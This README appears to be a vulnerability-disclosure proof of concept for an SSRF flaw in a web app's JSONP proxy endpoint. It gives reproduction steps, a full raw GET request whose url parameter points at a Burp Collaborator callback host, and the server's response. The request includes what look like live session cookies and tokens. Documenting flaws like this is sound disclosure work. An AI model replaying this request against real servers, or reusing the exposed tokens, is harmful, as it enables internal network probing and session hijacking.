README.md

PoCSSrfApp

Server-Side Request Forgery (SSRF) refers to an attack, wherein an attacker can send a crafted request from a vulnerable web application. SSRF is mainly used to target internal systems behind WAF (web application firewall), that are unreachable to an attacker from the external network. Additionally, it's also possible for an attacker to mark SSRF, for accessing services from the same server that is listening on the loopback interface address called (127.0.0.1).

Severity:HIGH

Steps to reproduce: 1.Visit: subdomain.target.com/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=? 2.Change the Value of Url= to your Hosted Server (I change it to my burp Collaborator) 3.Forward the request and check for log and response. 4.In my case I was able to get collaborator response.

Impact: By this attack, an attacker can gather information about ports, IP addresses, Remote Code Execution (RCE), and can also discover the IP addresses of servers running behind a reverse proxy, etc.

Request: GET /api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://kui5ntipd353w4eekwtxhc5af1lu9oxel58ywn.burpcollaborator.net? HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: text/plain RemoveHeader-Transfer-Encoding: true ExtraHeader-Access-Control-Expose-Headers: Removed-X-Frame-Options RemoveHeader-X-Frame-Options: true X-Requested-With: XMLHttpRequest Connection: close Referer: https://redacted.com/library/virtual/library/workspaces/dcdc8c58-f282-4d79-b519-bf093273ff58/index.html?editing=true&display_mode=tv Cookie: _gcl_au=1.1.605860964.1611041064; _ga=GA1.2.237028277.1611041073; _fbp=fb.1.1613375264845.130352864; ASP.NET_SessionId=hrm4kw45gl2ikz55rylyxm45; __AntiXsrfToken=e3a9153874de4f03800ea59f647b5bec; appspace-core-token=c2bd442f-8a97-46fe-8341-e27b30e6a146; ticket=c2bd442f-8a97-46fe-8341-e27b30e6a146; logincookie=AFDF47507F483F7944E5B6D99246310F6CA4300B6BC43EF47B8A73C52AAF2165BC3D79B0C573DA1189B586F86DDEEA19CD820DA2E0EB269812587CDFF3A08CF74907E6D1C370490A37DC8DEF89ADE6117A1806F6A6D83609AA5A47A9A02766CFE331937262117 36D5B07B056CE53B9EADC7723CDFE99A9F1AD499CB399B5F1B88A58822B1BC4BE537C704E8F89F9496FA7972266AA00328F524443BC95D29D0B902BF81AAF3AA748FEBA342A2402EDB35A05038AEC3948C60C34B4B99A52F76E0E16F2A43F33295F6FCF83C107453CCC2D762EAB; __RequestVerificationToken_L2xpYnJhcnk1=sVXhPQSiCj559qE00AoIlSK2peRu_X1qWB8rKI-XpShQ1ewAynE98K06L4jIGvklTAFiSYWXBw16C9w8XwLnME2ITpVvnD66BYjVBUm5ys1

Response: HTTP/1.1 200 OK Cache-Control: no-cache, no-store Content-Type: text/html Vary: Accept-Encoding X-Collaborator-Version: 4 Access-Control-Expose-Headers: Removed-X-Frame-Options Access-Control-Allow-Origin: * Access-Control-Request-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: authorization,origin,x-my-header,host,accept,content-type,cache-control Access-Control-Allow-Origin: * Date: Wed, 24 Feb 2021 06:19:52 GMT Connection: close Content-Length: 61 dlgnon6ksjta2ya1tg7gq2zjlgmgigjflgz